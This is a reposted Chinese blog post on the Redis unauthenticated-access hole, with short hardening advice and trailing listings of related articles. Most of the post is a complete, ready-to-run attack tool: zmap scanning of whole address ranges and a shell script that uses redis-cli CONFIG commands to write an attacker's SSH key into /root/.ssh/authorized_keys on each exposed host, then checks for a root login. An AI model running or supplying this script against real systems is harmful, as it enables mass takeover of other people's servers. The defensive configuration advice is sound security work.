请务必注意 Redis 安全配置,否则将导致轻松被入侵

转载 2015年12月16日 17:13:26

一、前言

前段时间,在做内网影响程度评估的时候写了扫描利用小脚本,
扫描后统计发现,内网中60%开放了redis6379端口的主机处于可以被利用的危险状态,因为都是一些默认配置造成的
考虑到本社区大部分开发者都会使用redis,特此分享下以便大家可以对自己公司的内网进行一个排查。

二、漏洞介绍

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

入侵特征:

  1. Redis 可能执行过 FLUSHALL 方法,整个 Redis 数据库被清空
  2. 在 Redis 数据库中新建了一个名为 crackit(网上流传的命令指令) 的键值对,内容为一个 SSH 公钥。
  3. 在 /root/.ssh 文件夹下新建或者修改了 authorized_keys 文件,内容为 Redis 生成的 db 文件,包含上述公钥

三、修复建议

1.禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

来禁用远程修改 DB 文件地址

2.以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

3.为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword

4.禁止外网访问 Redis

修改 redis.conf 文件,添加或修改

bind 127.0.0.1

使得 Redis 服务只在当前主机可用

四、扫描工具

1 使用说明

    #以Ubuntu为例
    su

    # Requirements
    apt-get install redis-server expect zmap

    git clone https://github.com/qingxp9/yyfexploit
    cd yyfexploit/redis

    # 扫描6379端口
    # 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉
    zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt

    # Usage
    ./redis.sh ip.txt

最后,将会生成几个txt文件记录结果
其中:
runasroot.txt 表示redis无认证,且以root运行
noauth.txt 表示redis无认证,但以普通用户运行
rootshell.txt 已写入公钥,可直接以证书登录root用户

像这样:

ssh -i id_rsa root@x.x.x.x

2 工具源代码

就贴下代码吧,各位大牛请在家长陪同下观看

   #!/bin/sh
    if [ $# -eq 1  ]
    then
      ip_list=$1

      ##create id_rsa
      echo "****************************************Create id_rsa file"

      expect -c "
        spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
        expect {
            \"*passphrase): \" {
                exp_send \"\r\"
                exp_continue
            }
            \"*again: \" {
                exp_send \"\r\"
            }
            \"*y/n)? \" {
                exp_send \"n\r\"
            }
        }
        expect eof
      "

      echo "\n\n****************************************Attack Targets"
      touch noauth.txt runasroot.txt rootshell.txt haveauth.txt
      i=0
      cat $ip_list | while read ip
      do
        i=`expr $i + 1`;
        #write id_rsa.pub to remote
        echo "*****${i}***connect to remote ${ip} redis "

        expect -c "
          set timeout 3
          spawn redis-cli -h $ip config set dir /root/.ssh/
          expect {
            \"OK\"                        { exit 0 }
            \"ERR Changing directory: Permission denied\"         { exit 1 }
            timeout                       { exit 2 }
            \"(error) NOAUTH Authentication required\"         { exit 3 }
          }
        "

        case $? in
            0)  echo "run redis as root"
                echo $ip >> noauth.txt
                echo $ip >> runasroot.txt
            ;;
            1)  echo "not run redis as root\n\n\n"
                echo $ip >> noauth.txt
                continue
            ;;
            2)  echo "connect timeout\n\n\n"
                continue
            ;;
            3)  echo "Have Auth\n\n\n"
                echo $ip >> haveauth.txt
                continue
            ;;
        esac

        (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
        cat foo.txt | redis-cli -h $ip -x set 1
        redis-cli -h $ip config set dir /root/.ssh/
        redis-cli -h $ip config set dbfilename "authorized_keys"
        redis-cli save

        #login test
        echo "#try to login"
        expect -c "
          set timeout 5
          spawn ssh -i id_rsa root@$ip echo \"yyf\"
          expect {
            \"*yes/no\"     { send \"yes\n\"}

            \"*password\"   { send \"\003\"; exit 1 }
            \"yyf\"         { exit 0 }
            timeout         { exit 2 }
          }
          exit 4
        "

        exitcode=$?

        if [ $exitcode -eq 0 ]
        then
          echo "---------------${ip} is get root shell"
          echo $ip >> rootshell.txt
        fi

        echo "\n\n\n"
      done

      echo "##########Final Count##########"
      wc -l $ip_list
      echo "----------"
      wc -l noauth.txt
      wc -l runasroot.txt
      wc -l rootshell.txt
      echo "----------"
      wc -l haveauth.txt

    else
      echo "usage: ./redis.sh ip.txt"
    fi

五、相关参考

  1. http://zone.wooyun.org/content/23858
  2. https://blog.islandzero.net/2015/11/11/redis-crackit/
  3. http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

NoSQL之Redis高级实用命令详解--安全和主从复制

一、安全性 为redis设置密码:设置客户端连接后进行任何其他指定前需要实用的密码。 警告:因为redis速度非常快,所以在一台较好的服务器下,一个外部用户可以在一秒钟进行150k次的密码尝试,这意味...
  • liutingxu1
  • liutingxu1
  • 2013年12月04日 12:33
  • 21552

Redis学习笔记四——redis安全设置

Redis的安全设计是在"Redis运行在可信环境"这个前提下做出的,在生产环境运行时不能允许外界直接连接到Redis服务器上,而应该通过应用程序进行中转,运行在可信的环境中是保证Redis安全的最重...
  • a491857321
  • a491857321
  • 2016年07月21日 18:31
  • 4475

redis密码设置、访问权限控制等安全设置

redis作为一个高速数据库,在互联网上,必须有对应的安全机制来进行保护,方法有2,如下。 1.比较安全的办法是采用绑定IP的方式来进行控制。  请在redis.conf文件找到如下配置 ...
  • luyaran
  • luyaran
  • 2017年02月16日 10:01
  • 1055

spring security oauth2 自定义实现令牌存储

我一开始用oauth2 for spring security的JdbcTokenStore存储令牌,它用jdbcTemplate操作数据库,代码显示操作成功,但是数据库里就是没有存储的令牌,调试搞了...
  • hxpjava1
  • hxpjava1
  • 2012年01月25日 12:34
  • 15076

OAuth2.0 Password接入说明

1.OAuth服务端需要引入pom com.whty whty-framework-oauth 2.项目必须配置redis,配置文件为cache.cfg 在需要进行OAuth权限校验...
  • zh350229319
  • zh350229319
  • 2016年08月22日 10:50
  • 3287

RESTful登录设计(基于Spring及Redis的Token鉴权)

什么是REST REST(Representational State Transfer)是一种软件架构风格。它将服务端的信息和功能等所有事物统称为资源,客户端的请求实际就是对资源进行操作,它的...
  • gebitan505
  • gebitan505
  • 2016年06月08日 17:59
  • 41781

OAuth2.0验证 和 SSO验证 详细

一、OAuth2.0授权协议 一种安全的登陆协议,用户提交的账户密码不提交到本APP,而是提交到授权服务器,待服务器确认后,返回本APP一个访问令牌,本APP即可用该访问令牌访问资源服务器的资源。由...
  • sinat_34990639
  • sinat_34990639
  • 2016年09月09日 20:41
  • 668

Redis SSH 漏洞修复方法

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以...
  • rainday0310
  • rainday0310
  • 2016年08月26日 11:51
  • 4049

Redis 请务必注意 Redis 安全配置,否则将导致轻松被入侵

一、前言 前段时间,在做内网影响程度评估的时候写了扫描利用小脚本, 扫描后统计发现,内网中60%开放了redis6379端口的主机处于可以被利用的危险状态,因为都是一些默认配置造成的 考虑到本社...
  • u011574239
  • u011574239
  • 2017年12月25日 14:10
  • 96

redis安全设置

Redis的安全设计是在"Redis运行在可信环境"这个前提下做出的,在生产环境运行时不能允许外界直接连接到Redis服务器上,而应该通过应用程序进行中转,运行在可信的环境中是保证Redis安全的最重...
  • luyaran
  • luyaran
  • 2017年02月16日 10:00
  • 444
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:请务必注意 Redis 安全配置,否则将导致轻松被入侵
举报原因:
原因补充:

(最多只允许输入30个字)